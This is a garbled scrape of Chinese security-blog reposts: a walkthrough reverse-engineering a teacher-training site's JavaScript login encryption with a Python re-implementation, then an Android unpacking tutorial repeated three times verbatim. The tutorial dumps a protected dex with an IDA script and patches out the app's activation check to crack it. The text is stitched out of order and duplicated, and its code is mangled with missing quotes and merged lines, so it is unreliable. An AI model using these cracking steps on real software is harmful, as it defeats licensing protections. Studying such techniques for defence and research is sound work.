from Des import *from urllib.parse import quotefrom time import time, sleepfrom PIL import Imageimport requestsimport sysfrom bs4 import BeautifulSoups = requests.session()headers = {    ‘Cache-Control’: ‘max-age=0′,    ‘Connection’: ‘keep-alive’,    ‘Referer’: http://www.jste.net.cn/uids/login.jsp,    ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) \    Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0′}def custom_encode(data):  # 懒得注释了,直接从js中拷贝出来,改成python的代码    tab = ‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’    data_bytes = list(data.encode())    while len(data_bytes) % 3 != 0:        data_bytes.append(0)    b = 0    length = len(data_bytes)    r =     while b < length:        g = data_bytes[b]        h = data_bytes[b + 1]        j = data_bytes[b + 2]        k = g >> 2        m = ((g & 3) << 4) | (h >> 4)        n = ((h & 15) << 2) | (j >> 6)        o = j & 63        third_char = ‘=’ if h == 0 else tab[n]        fourth_char = ‘=’ if j == 0 else tab[o]        r = r + tab[k] + tab[m] + third_char + fourth_char        b = b + 3    return r[::-1]  # 反序输出def encode_pwd(str_name, str_pwd):    encoded_pwd = custom_encode(str_pwd)    encoded_pwd = custom_encode(encoded_pwd)  # 先连续对密码加密两次    if len(str_name) % 2 == 1:        encoded_pwd = custom_encode(encoded_pwd)  # 如果用户名长度是奇数,则再加密一次    return encoded_pwddef strenc(data, firstkey, secondkey):    bts_data = extend_to_16bits(data)  # 将data长度扩展成64位的倍数    bts_firstkey = extend_to_16bits(firstkey)  # 将 first_key 长度扩展成64位的倍数    bts_secondkey = extend_to_16bits(secondkey)  # 将 second_key 长度扩展成64位的倍数    i = 0    bts_result = []    while i < len(bts_data):        bts_temp = bts_data[i:i + 8]  # 将data分成每64位一段,分段加密        j, k = 0, 0        while j < len(bts_firstkey):            des_k = des(bts_firstkey[j: j + 8], ECB)  # 分别取出 first_key 的64位作为密钥            bts_temp = list(des_k.encrypt(bts_temp))            j += 8        while k < len(bts_secondkey):            des_k = des(bts_secondkey[k:k + 8], ECB)  # 分别取出 second_key 的64位作为密钥            bts_temp = list(des_k.encrypt(bts_temp))            k += 8        bts_result.extend(bts_temp)        i += 8    str_result =     for each in bts_result:        str_result += ‘%02X’ % each  # 分别加密data的各段,串联成字符串    return str_resultdef extend_to_16bits(data):  # 将字符串的每个字符前插入 0,变成16位,并在后面补0,使其长度是64位整数倍    bts = data.encode()    filled_bts = []    for each in bts:        filled_bts.extend([0, each])  # 每个字符前插入 0    while len(filled_bts) % 8 != 0:  # 长度扩展到8的倍数        filled_bts.append(0)  # 不是8的倍数,后面添加0,便于DES加密时分组    return filled_btsdef get_rand_code():    random_code_url = r’http://www.jste.net.cn/uids/genImageCode?rnd=    time_stamp = str(int(time() * 1000))    random_code_url += time_stamp    try:        req = s.get(random_code_url, headers=headers, stream=True)        with open(‘rand_code.jpg’, ‘wb’) as f:            for chunk in req.iter_content(chunk_size=1024):                f.write(chunk)    except requests.RequestException:        print(‘网络链接错误,请稍后重试/(ㄒoㄒ)/~~’)        sys.exit()    with Image.open(‘rand_code.jpg’)as img:        img.show()def login_site(reqid, randomcode, reqkey):    post_data = {        ‘randomCode’: randomcode,        ‘returnURL’: None,        ‘appId’: ‘uids’,        ‘site’: None,        ‘encrypt’: 1,        ‘reqId’: reqid,        ‘req’: reqkey    }    try:        req = s.post(http://www.jste.net.cn/uids/login.jsp, headers=headers, data=post_data)        print(‘Status Code:%s’ % req.status_code)  # 不知道为什么浏览器上登陆成功返回的是302,这里返回200        if ‘Set-Cookie’ in req.headers.keys():  # 还好,看到response中出现Set-Cookie,就登陆成功了            return True        else:            return False    except requests.RequestException:        print(‘网络链接错误,请稍后重试/(ㄒoㄒ)/~~’)        return Falsedef main():    print(.center(100, ‘-’))    uname = input(‘请输入你的用户名:’)    pwd = input(‘请输入你的登陆密码:’)    get_rand_code()    secondkey = input(‘请输入看到的验证码:’)  # 取得验证码,作为second_key,提交数据时作为 randomCode 的值    firstkey = str(int(time() * 1000))  # 取得提交时的时间戳,作为first_key,提交数据时候作为 reqId 的值    crypt_pwd = encode_pwd(uname, pwd)  # 对输入的密码进行第一次加密    data = quote(uname) + ‘\n’ + crypt_pwd  # 用户名URI编码后和密码加密后的文本链接等待被DES加密    post_req = strenc(data, firstkey, secondkey)  # 主要是DES计算,作为 req 的值提交数据    if login_site(reqid=firstkey, randomcode=secondkey, reqkey=post_req) is True:        print(.center(100, ‘-’))        print(‘登陆成功,O(∩_∩)O哈哈~…’)        try:            req = s.get(http://www.jste.net.cn/train/credit_hour/top.jsp)  # 打开一个网页测试一下            soup = BeautifulSoup(req.text, ‘html5lib’)  # 网页为多框架,测试下访问TOP框架中的文本            print(soup.select(‘.b’)[0].text.replace(‘\n’, ).replace(‘ ‘, ))        except requests.RequestException:            print(‘网络链接错误,请稍后重试/(ㄒoㄒ)/~~’)if __name__ == ‘__main__’:  # 启动程序    main()

测试效果:

image.png

最后思考了下,很多网站的数据都是明码提交的,或者是简单的加密提交的,这个网站在加密上花了一些工夫

但是js脚本最大的问题就是别人可以看到源码,虽然网站登陆成功后立即删除了js文件,但是只要出现了就会被发现,我网上搜索了下隐藏源码的办法,但是水平才菜了,没学过 java ,也没看懂。

最后补充下:DES加密的数据 data 是用户名的” URL格式 + 换行 + 密码第一次加密得到的文本“

firstkey 是提交时得到的时间戳,secondkey 就是输入的验证码

本文转载自看雪论坛【作者】rdsnow

不得不说,最近的 Python 蛮火的,我也稍稍了解了下,并试着用 Python 爬取网站上的数据

不过有些数据是要登陆后才能获取的,我们每年都要到某教师教育网学习一些公需科目,就拿这个网站试试,关键是对网站的分析

打开浏览器,输入网站网址 http://www.jste.net.cn ,按F12调出浏览器的开发者工具,选中 Network ,并勾选 Preserve log,防止切换网页时信息丢失

image.png

网页上输入账号,密码输入“123456”,验证码输入“abcde”,验证码不要输正确的,否则密码错5次,会被网站锁定账号30个小时,验证码倒是可以随便错

登陆后(当然登陆不上,会跳转到另一个登陆页面),在开发者工具中看到与服务器的数据交换

image.png

第一个是get验证码图片的,第二个就是向网站提交数据的,点一下第二个信息

image.png

这是个 Post 请求,重点看红框中的提交数据,randomCode就是输入的验证码了,x,y应该是点击的按钮控件的位置了,有cookie后就没有提交这个数据了,可以忽视,returnURL、appId,encrypt每次都是一样的,也不用管他,重点是 reqId 和 req 这两个 key 的值了,reqId猜想是点击按钮时取到的时间戳,可以复制这个数据到验证下 Unix时间戳(Unix timestamp)转换工具 单位选毫秒,确实是刚刚提交数据的时间,就剩下一个数据了,这个key的数值很长,下面来寻找这个数据是从哪里的来的

可以看到 login.jsp 下可以看到 encode.js、string.js、des.js 从名字上就能看出这几个是用来加密提交数据的,右键 login.jsp,选择 “Open in Sources panel”

image.png

image.png

可以跳转到 “源” 选项卡,看到 ’login.jsp‘ 的源码,如果格式混乱,比如所有代码在一行中,不便于观看,可以点击界面下方

image.png

的中括号,开发者工具会自动给你重新格式化代码。

仔细分析 login.jsp 的代码,看到

function doOk(frm) {            var el = frm.elements["loginName"];            var loginName = el.value.replace(/ /g, “”);            el.value = loginName;            if (isEmpty(loginName)) {                alert(“请输入登录名”);                el.focus();                return false;            }            el = frm.elements["pwd"];            el.value = el.value.replace(/ /g, “”);            var pwd=el.value;            if (isEmpty(el.value)) {                alert(“请输入登录密码”);                el.focus();                return false;            }            var d = new Date();            pwd = encode(loginName, pwd);//密码第一次加密,可以跟进            frm.elements["encrypt"].value = “1″;            var validCode=“”;            el=frm.elements["randomCode"];            if(el){                el.value=el.value.replace(/ /g,“”);                if (isEmpty(el.value)) {                    alert(“请输入登录密码”);                    el.focus();                    return false;                }                validCode=el.value;            }            loginName=encodeURI(loginName);//避免中文问题 进行URL编码            var reqId=(new Date()).getTime()+“”;//获取时间戳给 reqId            var str=strEnc(loginName+“\n”+pwd,reqId,validCode);//关键加密代码,可以跟进分析            frm.elements["loginName"].disabled=“true”;            frm.elements["pwd"].value=pwd;            frm.elements["pwd"].disabled=“true”;            frm.elements["req"].value=str;            frm.elements["reqId"].value=reqId;            return true;        }

找到这段代码,其中主要是对输入检查的部分,重点看这两处

pwd = encode(loginName, pwd);

此处对密码进行第一次加密

loginName=encodeURI(loginName);//避免中文问题var reqId=(new Date()).getTime()+“”;var str=strEnc(loginName+“\n”+pwd,reqId,validCode);

第一行:将用户名进行 URL 的格式编码

第二行,取时间戳赋值给 reqId

第三行传入用户名,加密后的密码和验证码进行验证,函数返回值赋给变量 str,正是提交数据的 req 的值

在两个加密函数入口设置断点,开发者工具设置断点的,只要在这个代码的行号上点击鼠标就行了,设好断点后,再次输入用户名密码和验证码,重新提交,程序被断下:

image.png

F11单步进入第一个断点,这里需要点击界面下面的中括号重新格式化下代码,单步跟进后看到:

var _$_7151 = ["encode", "ABCDEFGHIJKLMNOP", "QRSTUVWXYZabcdef", "ghijklmnopqrstuv", "wxyz0123456789+/", "=", "", "charCodeAt", "charAt", "length", "join", "reverse", "split"];window[_$_7151[0]] = function(c, e) {    function a(p) {        var q = _$_7151[1] + _$_7151[2] + _$_7151[3] + _$_7151[4] + _$_7151[5];        p = encodeURI(p);        var r = _$_7151[6];        var g, h, j = _$_7151[6];        var k, l, m, o = _$_7151[6];        var b = 0;        do {            g = p[_$_7151[7]](b++);//第一个字符            h = p[_$_7151[7]](b++);//第二个字符            j = p[_$_7151[7]](b++);//第三个字符            k = g >> 2; //得到 k            l = ((g & 3) << 4) | (h >> 4);//得到 i            m = ((h & 15) << 2) | (j >> 6);//得到 m            o = j & 63; //得到 o            if (isNaN(h)) {  //如果没有第二个字符                m = o = 64 //则取表中的第64个字符替换            } else {                if (isNaN(j)) { //如果没有第三个字符                    o = 64 //则取表中的第64个字符替换                }            }            ;r = r + q[_$_7151[8]](k) + q[_$_7151[8]](l) + q[_$_7151[8]](m) + q[_$_7151[8]](o);            g = h = j = _$_7151[6];            k = l = m = o = _$_7151[6]        } while (b < p[_$_7151[9]]);;return r    }    var d = c[_$_7151[9]];    var f = a(e)[_$_7151[12]](_$_7151[6])[_$_7151[11]]()[_$_7151[10]](_$_7151[6]);    for (var b = 0; b < (d % 2 == 0 ? 1 : 2); b++) {        f = a(f)[_$_7151[12]](_$_7151[6])[_$_7151[11]]()[_$_7151[10]](_$_7151[6])    }    ;return f}

这个函数返回的 f 就是密码第一次加密后的结果了,这个代码是用什么工具变成这样的不太清楚,如果出现 _$_7151[n] 这样的字符可以查询代码最上面的列表

代换,大致过程不详说,跟一遍就知道了,就是循环从密码中取三个字符 g、h、j,然后将三个字符的ascii码左移或右移,或和其他结果加加减减,得到的结果 k、l、m、o 查询表格替换字符,如果密码长度不是 3 的整数倍,则查表结果用 “=” 替换,将循环得到的查表结果依次连接,并反序,得到一个密码加密后的密码

至少将密码进行两次这样的加密计算,如果用户名的长度是奇数,再进行一次加密,加密的过程只需要复制代码到 python 中,修改成  python 的格式就可以了。

步过了对密码的第一次加密后,继续步进上面设下的第二个断点

function strEnc(data,firstKey,secondKey,thirdKey){    var leng = data.length;//取 data 的长度    var encData = “”;    var firstKeyBt,secondKeyBt,thirdKeyBt,firstLength,secondLength,thirdLength;    if(firstKey != null && firstKey != “”){        firstKeyBt = getKeyBytes(firstKey);//取 firstkey 在每个字符之间插入一个字节的 0        firstLength = firstKeyBt.length;//取得插入 0 后的长度    }    if(secondKey != null && secondKey != “”){        secondKeyBt = getKeyBytes(secondKey);//取 secondkey 在每个字符之间插入一个字节的 0        secondLength = secondKeyBt.length;//取得插入 0 后的长度    }    if(thirdKey != null && thirdKey != “”){ //登陆过程中,并没用到 thirdkey,即 thirdKey = None        thirdKeyBt = getKeyBytes(thirdKey);//取 thirdkey 在每个字符之间插入一个字节的 0        thirdLength = thirdKeyBt.length;//取得插入 0 后的长度    }    if(leng > 0){         if(leng < 4){ 如果 data 的长度<4,因为跳过,代码用省略号替换            //省去一些代码……            }else{            var iterator = parseInt(leng/4);//data 的长度除 64,得到循环次数            var remainder = leng%4; //data 的长度是否是 64 位的整数倍,保存余数            var i=0;            for(i = 0;i < iterator;i++){ //开始循环                var tempData = data.substring(i*4+0,i*4+4); //循环取 data 的64 位                var tempByte = strToBt(tempData);//转换成 bits                var encByte ;                if(firstKey != null && firstKey !=“” && secondKey != null && secondKey != “” ){                    var tempBt;                    var x,y;                    tempBt = tempByte;                    for(x = 0;x < firstLength ;x ++){                        tempBt = enc(tempBt,firstKeyBt[x]);//循环从firstkey 中取得64 位做密钥,依次对 data 中的某一段加密                    }                    for(y = 0;y < secondLength ;y ++){                        tempBt = enc(tempBt,secondKeyBt[y]);//循环从second中取得64 位做密钥,依次对 data 中的某一段加密                    }                    encByte = tempBt;//保存加密结果                }            //…………            if(remainder > 0){  //如果 data 有多余的长度,不足64 位                var remainderData = data.substring(iterator*4+0,leng);                var tempByte = strToBt(remainderData);//将余下的分到4个16位的数组中                var encByte ;                if(firstKey != null && firstKey !=“” && secondKey != null && secondKey != “” && thirdKey != null ){                    var tempBt;                    var x,y,z;                    tempBt = tempByte;                    for(x = 0;x < firstLength ;x ++){                        tempBt = enc(tempBt,firstKeyBt[x]);循环从firstkey 中取得64 位做密钥,依次对 data 中的某一段加密                    }                    for(y = 0;y < secondLength ;y ++){                        tempBt = enc(tempBt,secondKeyBt[y]);循环从secondkey中取得64 位做密钥,依次对 data 中的某一段加密                    }                    encByte = tempBt;//保存加密结果                }                encData += bt64ToHex(encByte);//将加密后的文本转为16进制文本            }        }    }    return encData;//返回加密结果}

这是一段循环进行 DES 加密的代码,先将data, firstkey, secondkey进行字符间插入一个字节的0, 然后不是 64 位整数倍长度的从上面代码看,相当于在后面补上 0 了
从data中取出一段64位数据,循环用 firstkey 和 second 中的 64 位做密钥,层层加密,得到的结果和 data 中其他 64 位加密的结果串联后就是 req 的值了
因为 key 都是 64 位的,再加上本身 sources 中也看到了 DES.js 文件,所以 enc(tempBt,secondkeyBt)应该就是 DES 算法了。
但是自己写代码模拟登陆确发现结果和自己跟的结果不同,从代码中看,DES 采用了 ECB 模式,不是 CBC 模式,PAD_mode 也没问题,都64位,不需要 DES 自己填充啊。没办法,只得硬着头皮继续跟进 DES 加密的代码

我们知道,DES 加密需要先对 key 进行 置换,得到 56 位密钥,标准的 DES 都有个置换表,正常的 DES 置换表是这样的

Permutation and translation tables for DES        __pc1 = [56, 48, 40, 32, 24, 16, 8,               0, 57, 49, 41, 33, 25, 17,               9, 1, 58, 50, 42, 34, 26,               18, 10, 2, 59, 51, 43, 35,               62, 54, 46, 38, 30, 22, 14,               6, 61, 53, 45, 37, 29, 21,               13, 5, 60, 52, 44, 36, 28,               20, 12, 4, 27, 19, 11, 3               ]

即将 key 的第 56 位放到第 0 位,第 48 位放到第 1 位…………最后置换出 56 位的 key,再分成 2 个28 密钥,循环左移和右移,然后 对 IP 置换后的 data 加密,进行 Sbox 盒替换 和 Pbox 替换,再进行一次 IP-1 置换得到密文,解密算法一样。

但跟进 DES 加密函数没多久就发现问题了,找到密钥置换的函数

var keys = generateKeys(keyByte);

并跟进:

function generateKeys(keyByte){    var key   = new Array(56);    var keys = new Array();    keys[ 0] = new Array();    keys[ 1] = new Array();    keys[ 2] = new Array();    keys[ 3] = new Array();    keys[ 4] = new Array();    keys[ 5] = new Array();    keys[ 6] = new Array();    keys[ 7] = new Array();    keys[ 8] = new Array();    keys[ 9] = new Array();    keys[10] = new Array();    keys[11] = new Array();    keys[12] = new Array();    keys[13] = new Array();    keys[14] = new Array();    keys[15] = new Array();    var loop = [1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1];//看到了循环移位的表,没看到置换表    for(i=0;i<7;i++){        for(j=0,k=7;j<8;j++,k–){            key[i*8+j]=keyByte[8*k+i];//用了这个循环生成 56 位         }    }//省略代码}

这里修改了标准的置换表,用了一个嵌套循环生成 56 位密钥,即把

原来 key 的 56 位 –> 第 0 位,48 位 –> 第 1 位,40 位 –> 第 2 位,…………0 位–> 第 7 位

原来 key 的 57 位 –> 第 8 位,49 位 –> 第 9 位,41 位 –> 第 10 位,………… 1 位 –>第 15 位

…………

最后丢弃原 key 的第 63,55,47,39,31,23,15,7 位(位置号从 0 开始)

在 python 中不能直接使用标准的 DES库了,可以把标准库中的 pyDes.py 文件拷贝到工程同目录下,改名为 Des,py,并导入工程

from Des import *

另外在 Des.py 中找到 key 的置换表,修改成

__pc1 = [        56, 48, 40, 32, 24, 16, 8, 0,        57, 49, 41, 33, 25, 17, 9, 1,        58, 50, 42, 34, 26, 18, 10, 2,        59, 51, 43, 35, 27, 19, 11, 3,        60, 52, 44, 36, 28, 20, 12, 4,        61, 53, 45, 37, 29, 21, 13, 5,        62, 54, 46, 38, 30, 22, 14, 6    ]

就可以正常使用 Des 了

最后附上 python 代码:

from Des import *from urllib.parse import quotefrom time import time, sleepfrom PIL import Imageimport requestsimport sysfrom bs4 import BeautifulSoups = requests.session()headers = {    ‘Cache-Control’: ‘max-age=0′,    ‘Connection’: ‘keep-alive’,    ‘Referer’: http://www.jste.net.cn/uids/login.jsp,    ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) \    Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0′}def custom_encode(data):  # 懒得注释了,直接从js中拷贝出来,改成python的代码    tab = ‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’    data_bytes = list(data.encode())    while len(data_bytes) % 3 != 0:        data_bytes.append(0)    b = 0    length = len(data_bytes)    r =     while b < length:        g = data_bytes[b]        h = data_bytes[b + 1]        j = data_bytes[b + 2]        k = g >> 2        m = ((g & 3) << 4) | (h >> 4)        n = ((h & 15) << 2) | (j >> 6)        o = j & 63        third_char = ‘=’ if h == 0 else tab[n]        fourth_char = ‘=’ if j == 0 else tab[o]        r = r + tab[k] + tab[m] + third_char + fourth_char        b = b + 3    return r[::-1]  # 反序输出def encode_pwd(str_name, str_pwd):    encoded_pwd = custom_encode(str_pwd)    encoded_pwd = custom_encode(encoded_pwd)  # 先连续对密码加密两次    if len(str_name) % 2 == 1:        encoded_pwd = custom_encode(encoded_pwd)  # 如果用户名长度是奇数,则再加密一次    return encoded_pwddef strenc(data, firstkey, secondkey):    bts_data = extend_to_16bits(data)  # 将data长度扩展成64位的倍数    bts_firstkey = extend_to_16bits(firstkey)  # 将 first_key 长度扩展成64位的倍数    bts_secondkey = extend_to_16bits(secondkey)  # 将 second_key 长度扩展成64位的倍数    i = 0    bts_result = []    while i < len(bts_data):        bts_temp = bts_data[i:i + 8]  # 将data分成每64位一段,分段加密        j, k = 0, 0        while j < len(bts_firstkey):            des_k = des(bts_firstkey[j: j + 8], ECB)  # 分别取出 first_key 的64位作为密钥            bts_temp = list(des_k.encrypt(bts_temp))            j += 8        while k < len(bts_secondkey):            des_k = des(bts_secondkey[k:k + 8], ECB)  # 分别取出 second_key 的64位作为密钥            bts_temp = list(des_k.encrypt(bts_temp))            k += 8        bts_result.extend(bts_temp)        i += 8    str_result =     for each in bts_result:        str_result += ‘%02X’ % each  # 分别加密data的各段,串联成字符串    return str_resultdef extend_to_16bits(data):  # 将字符串的每个字符前插入 0,变成16位,并在后面补0,使其长度是64位整数倍    bts = data.encode()    filled_bts = []    for each in bts:        filled_bts.extend([0, each])  # 每个字符前插入 0    while len(filled_bts) % 8 != 0:  # 长度扩展到8的倍数        filled_bts.append(0)  # 不是8的倍数,后面添加0,便于DES加密时分组    return filled_btsdef get_rand_code():    random_code_url = r’http://www.jste.net.cn/uids/genImageCode?rnd=    time_stamp = str(int(time() * 1000))    random_code_url += time_stamp    try:        req = s.get(random_code_url, headers=headers, stream=True)        with open(‘rand_code.jpg’, ‘wb’) as f:            for chunk in req.iter_content(chunk_size=1024):                f.write(chunk)    except requests.RequestException:        print(‘网络链接错误,请稍后重试/(ㄒoㄒ)/~~’)        sys.exit()    with Image.open(‘rand_code.jpg’)as img:        img.show()def login_site(reqid, randomcode, reqkey):    post_data = {        ‘randomCode’: randomcode,        ‘returnURL’: None,        ‘appId’: ‘uids’,        ‘site’: None,        ‘encrypt’: 1,        ‘reqId’: reqid,        ‘req’: reqkey    }    try:        req = s.post(http://www.jste.net.cn/uids/login.jsp, headers=headers, data=post_data)        print(‘Status Code:%s’ % req.status_code)  # 不知道为什么浏览器上登陆成功返回的是302,这里返回200        if ‘Set-Cookie’ in req.headers.keys():  # 还好,看到response中出现Set-Cookie,就登陆成功了            return True        else:            return False    except requests.RequestException:        print(‘网络链接错误,请稍后重试/(ㄒoㄒ)/~~’)        return Falsedef main():    print(.center(100, ‘-’))    uname = input(‘请输入你的用户名:’)    pwd = input(‘请输入你的登陆密码:’)    get_rand_code()    secondkey = input(‘请输入看到的验证码:’)  # 取得验证码,作为second_key,提交数据时作为 randomCode 的值    firstkey = str(int(time() * 1000))  # 取得提交时的时间戳,作为first_key,提交数据时候作为 reqId 的值    crypt_pwd = encode_pwd(uname, pwd)  # 对输入的密码进行第一次加密    data = quote(uname) + ‘\n’ + crypt_pwd  # 用户名URI编码后和密码加密后的文本链接等待被DES加密    post_req = strenc(data, firstkey, secondkey)  # 主要是DES计算,作为 req 的值提交数据    if login_site(reqid=firstkey, randomcode=secondkey, reqkey=post_req) is True:        print(.center(100, ‘-’))        print(‘登陆成功,O(∩_∩)O哈哈~…’)        try:            req = s.get(http://www.jste.net.cn/train/credit_hour/top.jsp)  # 打开一个网页测试一下            soup = BeautifulSoup(req.text, ‘html5lib’)  # 网页为多框架,测试下访问TOP框架中的文本            print(soup.select(‘.b’)[0].text.replace(‘\n’, ).replace(‘ ‘, ))        except requests.RequestException:            print(‘网络链接错误,请稍后重试/(ㄒoㄒ)/~~’)if __name__ == ‘__main__’:  # 启动程序    main()

测试效果:

image.png

最后思考了下,很多网站的数据都是明码提交的,或者是简单的加密提交的,这个网站在加密上花了一些工夫

但是js脚本最大的问题就是别人可以看到源码,虽然网站登陆成功后立即删除了js文件,但是只要出现了就会被发现,我网上搜索了下隐藏源码的办法,但是水平才菜了,没学过 java ,也没看懂。

最后补充下:DES加密的数据 data 是用户名的” URL格式 + 换行 + 密码第一次加密得到的文本“

firstkey 是提交时得到的时间戳,secondkey 就是输入的验证码

作者:i春秋作家HAI_ZHU

0×00 前言

好久没有写文了,要好好开动一下了。很多事情要忙。这篇文章本来很早之前就要写的,但是因为很多事情就拖了很久。

前置内容

HAI_使用手册

知识总结

0×01 smali层静态分析

反编译,不多说。

然后来看启动的class。

image.png

调用run方法,和load方法。

image.png

这里有两个so文件载入。

exec

execmain

image.png

0×02 so层分析

libexec.so

image.png

查看JNIonload,发现并没有我们需要的内容。

image.png

这个时候,我们可以先尝试进行一下动态调试。

0×03 动态调试

首先要明确断点dexfileopen。

前置配置不啰嗦了。可以去看一下之前的文章。

勾选三项,停在这里。

image.png

下端点。


155851zzwfhbvmgbgb8pam.png

端点的位置在libdvm.so->dexfileopen.

jdb转发。

160636sgo7my12dy1xxyhn.png

F9运行,发现端点停在这里了。

160734oh0nnbui7451ziu5.png

同步R0寄存器。

160905idllhmvr91vwcl9w.png

这里很明显看到了一个dex文件。

0×04 dump dex

通过dex文件判断大小和偏移。

使用脚本进行dump

static main(void){
    auto fp, begin, end, dexbyte;
    //打开或创建一个文件
    fp = fopen("e:\\dumpss.dex", "wb");
    //dex基址
    begin = 0x772C06DC;    
//dex基址 + dex文件大小
end = begin + 0x000FAEB4;
    for ( dexbyte = begin; dexbyte < end;     dexbyte ++ ){
//按字节将其dump到本地文件中
fputc(Byte(dexbyte), fp);
}
}

成功dump

0×05 偷梁换柱

把dex反编译后放入Android killer中进行分析。

通过使用app发现“请先激活用户”

搜索

170300l42adnvdvwquld6v.png

然后对跳转方法进行更改。进行暴力破解。

测试:破解成功。

0×06 脱壳修复

去掉android:name=”com.shell.SuperApplication”,然后进行回编译。
170417blexflxtlkfpn4vm.png

最后大功告成

作者:i春秋作家HAI_ZHU

0×00 前言

好久没有写文了,要好好开动一下了。很多事情要忙。这篇文章本来很早之前就要写的,但是因为很多事情就拖了很久。

前置内容

HAI_使用手册

知识总结

0×01 smali层静态分析

反编译,不多说。

然后来看启动的class。

image.png

调用run方法,和load方法。

image.png

这里有两个so文件载入。

exec

execmain

image.png

0×02 so层分析

libexec.so

image.png

查看JNIonload,发现并没有我们需要的内容。

image.png

这个时候,我们可以先尝试进行一下动态调试。

0×03 动态调试

首先要明确断点dexfileopen。

前置配置不啰嗦了。可以去看一下之前的文章。

勾选三项,停在这里。

image.png

下端点。


155851zzwfhbvmgbgb8pam.png

端点的位置在libdvm.so->dexfileopen.

jdb转发。

160636sgo7my12dy1xxyhn.png

F9运行,发现端点停在这里了。

160734oh0nnbui7451ziu5.png

同步R0寄存器。

160905idllhmvr91vwcl9w.png

这里很明显看到了一个dex文件。

0×04 dump dex

通过dex文件判断大小和偏移。

使用脚本进行dump

static main(void){
    auto fp, begin, end, dexbyte;
    //打开或创建一个文件
    fp = fopen("e:\\dumpss.dex", "wb");
    //dex基址
    begin = 0x772C06DC;    
//dex基址 + dex文件大小
end = begin + 0x000FAEB4;
    for ( dexbyte = begin; dexbyte < end;     dexbyte ++ ){
//按字节将其dump到本地文件中
fputc(Byte(dexbyte), fp);
}
}

成功dump

0×05 偷梁换柱

把dex反编译后放入Android killer中进行分析。

通过使用app发现“请先激活用户”

搜索

170300l42adnvdvwquld6v.png

然后对跳转方法进行更改。进行暴力破解。

测试:破解成功。

0×06 脱壳修复

去掉android:name=”com.shell.SuperApplication”,然后进行回编译。
170417blexflxtlkfpn4vm.png

最后大功告成

作者:i春秋作家HAI_ZHU

0×00 前言

好久没有写文了,要好好开动一下了。很多事情要忙。这篇文章本来很早之前就要写的,但是因为很多事情就拖了很久。

前置内容

HAI_使用手册

知识总结

0×01 smali层静态分析

反编译,不多说。

然后来看启动的class。

image.png

调用run方法,和load方法。

image.png

这里有两个so文件载入。

exec

execmain

image.png

0×02 so层分析

libexec.so

image.png

查看JNIonload,发现并没有我们需要的内容。

image.png

这个时候,我们可以先尝试进行一下动态调试。

0×03 动态调试

首先要明确断点dexfileopen。

前置配置不啰嗦了。可以去看一下之前的文章。

勾选三项,停在这里。

image.png

下端点。


155851zzwfhbvmgbgb8pam.png

端点的位置在libdvm.so->dexfileopen.

jdb转发。

160636sgo7my12dy1xxyhn.png

F9运行,发现端点停在这里了。

160734oh0nnbui7451ziu5.png

同步R0寄存器。

160905idllhmvr91vwcl9w.png

这里很明显看到了一个dex文件。

0×04 dump dex

通过dex文件判断大小和偏移。

使用脚本进行dump

static main(void){
    auto fp, begin, end, dexbyte;
    //打开或创建一个文件
    fp = fopen("e:\\dumpss.dex", "wb");
    //dex基址
    begin = 0x772C06DC;    
//dex基址 + dex文件大小
end = begin + 0x000FAEB4;
    for ( dexbyte = begin; dexbyte < end;     dexbyte ++ ){
//按字节将其dump到本地文件中
fputc(Byte(dexbyte), fp);
}
}

成功dump

0×05 偷梁换柱

把dex反编译后放入Android killer中进行分析。

通过使用app发现“请先激活用户”

搜索

170300l42adnvdvwquld6v.png

然后对跳转方法进行更改。进行暴力破解。

测试:破解成功。

0×06 脱壳修复

去掉android:name=”com.shell.SuperApplication”,然后进行回编译。
170417blexflxtlkfpn4vm.png

最后大功告成